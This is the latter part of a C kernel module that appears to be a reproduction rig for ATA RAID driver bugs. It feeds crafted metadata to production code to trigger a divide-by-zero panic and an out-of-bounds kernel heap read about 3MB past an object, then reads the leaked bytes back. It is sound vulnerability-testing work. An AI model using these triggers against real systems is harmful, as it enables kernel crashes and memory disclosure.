	  rdp ? (uintmax_t)rdp->rebuild_lba : 0);
	P("NOW RUN FROM USERLAND: /root/dfrig3/atastat 0");
	P("expect FATAL TRAP 0 at ata-raid.c:1028 "
	  "`progress = 100 * lba / total_sectors'");
	dfrig_last_rc = (rc == 1 && rdp && rdp->total_sectors == 0);
}

/* --- test 22: DF-2496 fatal -- attach heads*sectors=0 ----------------- */
static void
dfrig_test22_attach_div0(void)
{
	struct ar_softc *rdp;

	rdp = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO);
	rdp->type = AR_T_JBOD;		/* skips the RAID0/01/5 rounddown */
	rdp->status = AR_S_READY;
	rdp->lun = 15;
	rdp->total_disks = 1;
	rdp->width = 1;
	rdp->disks[0].flags = AR_DF_PRESENT | AR_DF_ASSIGNED | AR_DF_ONLINE;
	rdp->heads = 0;			/* <-- crafted metadata geometry */
	rdp->sectors = 63;
	rdp->total_sectors = 100000;
	bcopy("DF96JBOD", rdp->name, 8);

	P("== DF-2496 test22: production ata_raid_attach() with "
	  "heads*sectors == 0 ==");
	P("rdp=%p type=AR_T_JBOD heads=%u sectors=%u total_sectors=%ju",
	  rdp, rdp->heads, rdp->sectors, (uintmax_t)rdp->total_sectors);
	P("EXPECTING FATAL TRAP 0 (divide error) at ata-raid.c:181 "
	  "`total_sectors/(heads*sectors)' -- panic follows on serial");
	dfrig_last_rc = 1;
	ata_raid_attach(rdp, 0);	/* PRODUCTION */
	P("SURVIVED -- on a FIXED kernel this is the expected outcome "
	  "(no division by zero; attach completed)");
	if (dfrig_witness[0] == NULL) {
		dfrig_witness[0] = rdp;	/* keep for test99 cleanup; attach
					 * registered &rdp->disk, so it must
					 * not be freed here */
	}
	dfrig_last_rc = 0;
}

/* --- test 23: DF-2498 fatal -- wild meta->disk[disk_idx] read --------- */
static void
dfrig_test23_intel_wild_read(void)
{
	int rc;

	setup_fakes();
	set_fake_serial_d0();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	/* map->total_disks=16 (disks[] writes stay in bounds); every
	 * disk_idx[] = 0xffff -> meta->disk[0xffff] = meta + 216 +
	 * 48*65535 = meta+3145996 -- ~3.0MB past the 1536-byte object */
	build_intel_meta(2, INTEL_T_RAID0, 16, 64, 0x1000000, 0xffff,
			 1 /* disk_idx[0]=1: in-bounds marker */);
	dfrig_armed = 1;
	P("== DF-2498 test23: production Intel parse with disk_idx[]=0xffff "
	  "==");
	P("meta->disk[0xffff].serial = meta + 216 + 48*65535 + 0 = "
	  "meta+3145996 (%d KB past the 1536-byte kmalloc)",
	  3145996 / 1024);
	P("EXPECTING PAGE FAULT in ata_raid_intel_read_meta (bcopy at "
	  "ata-raid.c:2247) -- panic follows on serial");
	dfrig_last_rc = 1;
	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;
	P("SURVIVED (unexpected): parse rc=%d witness[0]=%p", rc,
	  dfrig_witness[0]);
	if (dfrig_witness[0]) {
		kfree(dfrig_witness[0], M_AR);
		dfrig_witness[0] = NULL;
	}
	dfrig_last_rc = 0;
}

/* --- test 24: DF-2498 OOB READ readback (wild meta->disk[0xffff]) ----- */
static void
dfrig_test24_intel_leak_readback(void)
{
	struct ar_softc *my;
	int rc, i, nonzero = 0;

	setup_fakes();
	set_fake_serial_d0();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	/* pre-install our own ar_softc: the production parse REUSES it
	 * (no kmalloc; ata-raid.c:2169-2173), and on no-serial-match the
	 * cleanup kfree()s it and NULLs raidp[0] (ata-raid.c:2299-2304) --
	 * we keep the pointer and read the chunk back immediately */
	my = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO);
	dfrig_witness[0] = my;

	/* disk_idx[] = 0xffff: every meta->disk[disk_idx] access reads at
	 * meta + 216 + 48*65535 (+ up to 48) ~= 3.0MB past the 1536-byte
	 * metadata object; 16 serial bytes + sectors + flags get bcopy'd
	 * from there into raid->disks[disk] (ata-raid.c:2247-2262) */
	build_intel_meta(2, INTEL_T_RAID0, 16, 64, 0x1000000, 0xffff,
			 1 /* disk_idx[0]=1: in-bounds marker */);
	dfrig_armed = 1;
	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;

	P("== DF-2498 test24: disk_idx[]=0xffff -> OOB READ of kernel heap "
	  "~3.0MB past the metadata object ==");
	P("parse rc=%d witness[0]=%p (freed+NULLed by cleanup; we kept "
	  "our pointer %p)", rc, dfrig_witness[0], my);
	P("readback of the (now-freed) chunk -- raid->disks[0..15] fields "
	  "were filled by bcopy from meta->disk[0xffff] = meta+3145996:");
	for (i = 0; i < 16; i++) {
		unsigned char *s = my->disks[i].serial;
		if (s[0] | s[1] | s[2] | s[3] | s[4] | s[5] | s[6] | s[7] |
		    s[8] | s[9] | s[10] | s[11] | s[12] | s[13] | s[14] |
		    s[15])
			nonzero++;
		if (i < 6)
			P("  disks[%2d].serial = %02x%02x%02x%02x%02x%02x%02x"
			  "%02x%02x%02x%02x%02x%02x%02x%02x%02x "
			  "sectors=%016llx flags=%x",
			  i, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7],
			  s[8], s[9], s[10], s[11], s[12], s[13], s[14], s[15],
			  (unsigned long long)my->disks[i].sectors,
			  my->disks[i].flags);
	}
	P("entries with non-zero serial (bytes read from ~3MB past the "
	  "object): %d/16", nonzero);
	{
		unsigned char *s0 = my->disks[0].serial;
		int ran = (s0[0] == 0xE0 && s0[1] == 0xE1);
		P("loop-ran marker: disks[0].serial[0..1]=%02x%02x %s "
		  "(disk_idx[0]=1 -> meta->disk[1].serial E0..EF in-bounds)",
		  s0[0], s0[1], ran ? "CONFIRMED -- same loop iteration set "
		  "then read meta->disk[0xffff] 3.0MB past the object for "
		  "disks[1..15]" : "MISSING");
		dfrig_last_rc = ran;
	}
	/* chunk was already freed by the production cleanup; do not kfree
	 * again */
}

/* --- test 99: cleanup -------------------------------------------------- */
static void
dfrig_test99_cleanup(void)
{
	struct ar_softc **real = DFRIG_KERNEL_ATARAID_ARRAYS;
	int i;

	for (i = 0; i < 64; i++) {
		if (dfrig_witness[i]) {
			kfree(dfrig_witness[i], M_AR);
			dfrig_witness[i] = NULL;
		}
	}
	if (real[0]) {
		kfree(real[0], M_AR);
		real[0] = NULL;
	}
	P("cleaned witness + real ata_raid_arrays[0]");
	dfrig_last_rc = 1;
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                      */
/* ------------------------------------------------------------------ */

static int dfrig_testno;

static int
dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = dfrig_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error != 0)
		return (error);

	dfrig_status_buf[0] = '\0';
	dfrig_last_rc = -1;
	switch (v) {
	case 10:
		dfrig_test10_intel_oob_write();
		break;
	case 11:
		dfrig_test11_span_walk();
		break;
	case 12:
		dfrig_test12_geometry();
		break;
	case 13:
		dfrig_test13_span_past_alloc();
		break;
	case 20:
		dfrig_test20_strategy_div0();
		break;
	case 21:
		dfrig_test21_status_div0_arm();
		break;
	case 22:
		dfrig_test22_attach_div0();
		break;
	case 23:
		dfrig_test23_intel_wild_read();
		break;
	case 24:
		dfrig_test24_intel_leak_readback();
		break;
	case 99:
		dfrig_test99_cleanup();
		break;
	default:
		P("unknown test %d (10=DF2498A,11=DF2497A,12=DF2496setup,"
		  "13=DF2497B,20/21/22=DF2496 fatal,23=DF2498wild,"
		  "24=DF2498leak)", v);
		break;
	}
	P("last_rc=%d", dfrig_last_rc);
	dfrig_testno = v;
	return (0);
}

static int
dfrig_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (SYSCTL_OUT(req, dfrig_status_buf, strlen(dfrig_status_buf) + 1));
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig3_ata_test, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfrig_fire_sysctl, "I", "fire dfrig3_ata test N");
SYSCTL_PROC(_kern, OID_AUTO, dfrig3_ata_status, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfrig_status_sysctl, "A", "last dfrig3_ata test output");

static int
dfrig3_ata_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&dfrig_fake_state_mtx, "dfrig3_st_mtx", 0, 0);
		kprintf("dfrig3_ata: loaded (production ata-raid.c compiled "
			"in; kern.dfrig3_ata_test=10|11|12|13|20|21|22|23)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrig3_ata_mod = { "dfrig3_ata", dfrig3_ata_modevent, 0 };

static struct mod_metadata _mod_metadata_dfrig3_ata = {
	MDT_STRUCT_VERSION, MDT_MODULE, &dfrig3_ata_mod, "dfrig3_ata"
};
DATA_SET(modmetadata_set, _mod_metadata_dfrig3_ata);
SYSINIT(dfrig3_atamodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE,
	module_register_init, &dfrig3_ata_mod);
